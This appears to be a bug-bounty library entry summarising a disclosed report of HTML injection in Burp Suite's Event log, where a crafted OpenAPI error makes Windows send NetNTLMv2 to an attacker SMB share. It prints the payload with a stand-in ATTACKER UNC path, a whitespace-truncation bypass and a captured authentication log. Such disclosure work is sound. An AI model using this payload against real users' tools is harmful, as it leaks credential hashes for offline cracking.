# Burp Suite OpenAPI Event Log HTML injection triggers Windows SMB authentication

Unencoded OpenAPI parser error text in Burp's Event log rendered as HTML, causing Windows to authenticate to an attacker SMB share and leak NetNTLMv2.

- Payout: $1,000
- Severity: medium
- Program: PortSwigger
- Found by: gankd
- Disclosed: 2026-10-15
- CVE: CVE-2021-29416
- Write-up quality: 8/10
- Original: https://hackerone.com/reports/3972558
- Library page: https://bugbountylibrary.com/r/h1%3A3972558
- Tags: area:os domain:desktop impact:data-leak kind:bounty platform:hackerone sev:medium tech:java tech:windows technique:incomplete-fix technique:source-review vuln:info-disclosure vuln:secrets-leak

**Target:** Burp Suite Event log / OpenAPI parser error rendering
**Root cause:** Raw ApiDefinitionException.getMessage() is appended unencoded into an HTML StringBuilder rendered by Swing JEditorPane; the HTMLEditorKit delegates <img> to standard ImageView which resolves file/UNC URLs, triggering SMB auth.
**Steps:**
1. Serve JSON OpenAPI 3.0.0 response with `$ref` value `#/components/schemas/http://127.0.0.1:1/><img&#32;src=file:////ATTACKER/SHARE/image.gif>`
2. In Repeater, right-click Response and choose `Save OpenAPI requests to site map`
3. Open Dashboard → Event log and select the new API-definition parsing error row
4. Observe Burp process send NTLM Type 1/2/3 to ATTACKER and SMB Tree Connect/Create/Read of SHARE\image.gif
**How found:** Noticed the OpenAPI parser error message was inserted into the Event log HTML unencoded; tested whether Swing's HTMLEditorKit would resolve an injected <img> with a UNC file URL, discovering a literal space was truncated so used `&#32;` entity to bypass.
**Exploitation:** Attacker controls an API response the victim imports via Save OpenAPI requests to site map; the crafted $ref fails full parsing, its error message is rendered as HTML in the Event log, and selecting the row makes Swing fetch the UNC image, leaking NetNTLMv2 to the attacker's SMB listener for offline cracking.
**Insight:** When a Swing/JEditorPane renders attacker-influenced text as HTML, injected <img src=file:////host/share/x> leaks NetNTLMv2 on Windows; parser error messages are a common unencoded sink, and entity-encoded whitespace (`&#32;`) can bypass truncation that strips literal spaces.

## Proof of concept (copied exactly from the original report)

**Observed SMB authentication and file read sequence**

```
Windows -> listener: NTLM Type 1
listener -> Windows: NTLM Type 2 challenge
Windows -> listener: NTLM Type 3, domain=HAKAI, user=burppoc
listener -> Windows: SMB2 Session Setup STATUS_SUCCESS
listener -> Windows: SMB2 Tree Connect STATUS_SUCCESS
Windows -> listener: Create/Read POCSHARE\swing-image.gif
```

## Write-ups of the same bug (oldest first)
- 2021-03-29: [HTML Injection in Swing can disclose netNTLM hash or cause DoS](https://bugbountylibrary.com/r/h1%3A1054382) — issuefinder
- 2026-10-15: [Burp Suite OpenAPI Event Log HTML injection triggers Windows SMB authentication](https://bugbountylibrary.com/r/h1%3A3972558) — gankd (this one)

